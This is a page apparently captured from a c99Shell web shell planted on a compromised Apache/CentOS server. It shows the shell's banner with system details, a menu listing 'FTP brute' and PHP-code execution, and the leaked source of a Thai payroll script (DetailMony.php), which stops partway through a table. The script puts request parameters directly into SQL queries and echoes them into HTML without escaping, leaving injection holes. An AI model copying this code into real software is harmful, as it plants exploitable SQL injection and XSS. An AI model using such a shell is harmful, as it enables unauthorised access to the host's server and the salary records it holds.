!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Money_depart/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailMony.php (37.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start();

if (session_is_registered("valid_user") && session_is_registered("Priority") ) {

    include("../include/FunctionDB.php");
    include("../include/Function.php");
    
    ConnectDB();
    
$sql2 = "Select * From salary_repot_tb  Where  Code='$Code'   ";
$result2= mysql_query($sql2) or die(" Error").mysql_error();
$rss = mysql_fetch_array($result2);
    
    $Teacher_code = $_REQUEST['Teacher_code'];
    $Flag = $_REQUEST['Flag'];
    
    $sql3 = "Select * From salary_type_tb   WHERE  Flag='1' ";
    $result3= mysql_query($sql3);
    $rs11 = mysql_fetch_array($result3);
    
    $sql = "Select * From  personal_tb  Where Teacher_code='$Teacher_code' ";
    $result = mysql_query($sql);
    $rs = mysql_fetch_array($result);
    //echo $sql;
    
    /////////////////////////////////
    $sql2 = "Select * From salary_repot_tb  Where  Teacher_code='$Teacher_code'  and  Code='$Code'   Order By Code  DESC ";
    $result2= mysql_query($sql2);
    $rss = mysql_fetch_array($result2);
    //echo $sql2;
    
    /////////////////
    $sql4 = " Select * From   history_position_tb  Where  Teacher_code='$Teacher_code' AND  Flag ='Y' ";
    $result4= mysql_query($sql4);
    $rs4 = mysql_fetch_array($result4);
    
    $sql5 = " SELECT *  FROM  budget_year_tb ";
    $result5= mysql_query($sql5);
    $rs5 = mysql_fetch_array($result5);
?>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<table width="515" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="515">
        <fieldset>
        
        <label></label>
       
        <form id="form1" name="form1" method="post" action="InsertSalary.php">
        <span style="padding:10px 0px 5px 10px">
       
        </span><br />
        <table width="452" border="0" align="center" cellpadding="2" cellspacing="2" style="border:1px solid #EEEEEE">
              <tr bgcolor="#FFCC99">
                <td height="25" colspan="2" bgcolor="#F8F8F8" align="center" class="PATRON11"><strong><span class="style5">บันทึกประวัติเงินเดือนรายรับและราย-จ่าย <font color="#000000" size="2" face="Tahoma">&nbsp;&nbsp;                </font></span></strong></td>
            </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" colspan="2" align="left" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">&nbsp;&nbsp;<strong><span class="style5">รหัส <strong><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Teacher_id] ;?></font></strong></span></strong>&nbsp;&nbsp;<strong><font color="#000000" size="2" face="Tahoma">
                <?php
                            echo "$rs[First_name]";
                      ?>
                <?php
                            echo "$rs[Teacher_name]";
                      ?>
                <?php
                            echo "$rs[Teacher_lastname]";
                      ?>
                </font></strong></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td width="159" height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF" class="PADDING-TOP-10"><font face="Tahoma">เงินเดือน</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10 PADDING-TOP-10"><font color="#003366" size="2" face="Tahoma"></font> <input name="Salary" type="text" disabled="disabled" id="Salary" value="<? echo $rs4[Salary]?>" size="8" />
                  <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">
                  <input name="Salary_1" type="hidden" id="Salary_1" value="<? echo $rs4['Salary']; ?>" />
                </span></font></strong></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เงินค่าตอบแทน ตำแหน่ง</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma"></font> <input name="Salary_2" type="text" id="Salary_2" value="<? echo $rs4[Salary_2]?>" size="8" d disabled="disabled" />
                  <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">
                  <input name="Salary_2" type="hidden" id="Salary_2" value="<? echo $rs4['Salary_2']; ?>" />
                </span></font></strong></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เงินประจำตำแหน่ง</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><input name="Salary_3" type="text" id="Salary_3" value="<? echo $rs4[Salary_3]?>" size="8"  disabled="disabled"/>
                  <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">
                  <input name="Salary_3" type="hidden" id="Salary_3" value="<? echo $rs4['Salary_3']; ?>" />
                </span></font></strong></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เดือน</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                    <script language="javascript" type="text/javascript">
                        function loadMonth()
                            {
                                var Month = document.form1.Start_mont.options[document.form1.Start_mont.selectedIndex].value
                                var Teacher_code = '<?php echo $Teacher_code; ?>'
                                var Flag = '<?php echo $Flag; ?>';
                                
                                location = "?Teacher_code=" + Teacher_code + "&Flag=" + Flag + "&Month=" + Month
                          }
                      </script>
                    <select name="Start_mont" id="Start_mont" class="select" onchange="loadMonth();">
                      <?php
                          $query = "Select * From  month_tb ";
                        $result = mysql_query($query);
                        while( $rs = mysql_fetch_array($result) ) {
                      ?>
                      <option value="<?=$rs[monthCode];?>" <?php if($rs[monthCode]==$Month) echo 'selected'; ?>><?=$rs[month];?></option>
                      <?php
                          } # while
                      ?>
                    </select>
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">ปีงบประมาณ</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#0000FF" size="2" face="Tahoma">
                <select name="Start_year" id="Start_year">
                  <?php
                $curr_year = date("Y")+543; 
                $prev_year = $curr_year-2;
                $next_year = $curr_year+3;
                
                for( $i=$prev_year; $i<=$next_year; $i++ ) { 
                ?>
                  <option value="<?=$i;?>" <?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'; ?>>
                    <?=$i;?>
                  </option>
                  <?php
                } # for
            ?>
                </select>
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">ค่าใช้จ่ายต่างๆ</td>
                <td width="320" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10">&nbsp;</td>
              </tr>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='1' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="320" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_1" type="text" id="Costt_20" value="<? echo $rss[Costt_1]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='2' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="320" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_2" type="text" id="Costt_2" value="<? echo $rss[Costt_2]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
             <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='3' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="320" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_3" type="text" id="Costt_3" value="<? echo $rss[Costt_3]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='4' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="320" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_4" type="text" id="Costt_4" value="<? echo $rss[Costt_4]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='5' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td width="320" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_5" type="text" id="Costt_5" value="<? echo $rss[Costt_5]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
             <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='6' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_6" type="text" id="Costt_6" value="<? echo $rss[Costt_6]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='7' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_7" type="text" id="Costt_7" value="<? echo $rss[Costt_7]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='8' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_8" type="text" id="Costt_8" value="<? echo $rss[Costt_8]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='9' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_9" type="text" id="Costt_9" value="<? echo $rss[Costt_9]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='10' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_10" type="text" id="Costt_10" value="<? echo $rss[Costt_10]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='11' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_11" type="text" id="Costt_11" value="<? echo $rss[Costt_11]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='12' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_12" type="text" id="Costt_12" value="<? echo $rss[Costt_12]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='13' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_13" type="text" id="Costt_13" value="<? echo $rss[Costt_13]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='14' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_14" type="text" id="Costt_14" value="<? echo $rss[Costt_14]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='15' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_15" type="text" id="Costt_15" value="<? echo $rss[Costt_15]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='16' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_16" type="text" id="Costt_16" value="<? echo $rss[Costt_16]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='17' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_17" type="text" id="Costt_17" value="<? echo $rss[Costt_17]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='18' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_18" type="text" id="Costt_18" value="<? echo $rss[Costt_18]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='19' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_19" type="text" id="Costt_19" value="<? echo $rss[Costt_19]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='20' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_20" type="text" id="Costt_20" value="<? echo $rss[Costt_20]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?> 
      
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='21' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_21" type="text" id="Costt_21" value="<? echo $rss[Costt_21]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
          
                <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='22' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_22" type="text" id="Costt_22" value="<? echo $rss[Costt_22]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
        
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='23' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_23" type="text" id="Costt_23" value="<? echo $rss[Costt_23]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
          
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='24' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_24" type="text" id="Costt_24" value="<? echo $rss[Costt_24]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
      
               <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='25' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                        echo"$rs11[Detail] ";
                 ?>
                </font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <input name="Costt_25" type="text" id="Costt_25" value="<? echo $rss[Costt_25]?>" size="8" />
                <?php
                        echo"$rs11[SalaryStatus] ";
                 ?>
                </font></td>
              </tr>
              <?php } #if ?>
              <?php
                    $sql11 = " Select  *  From  salary_type_tb   Where    SalaryId='26' ";
                    $result11 = mysql_query($sql11);
                    $rs11 = mysql_fetch_array($result11); 
                    $SalaryId =  $rs11['SalaryId'];
                    if( $SalaryId != 0 ) {
                ?>
              <tr bgcolor="#FFEFDF">
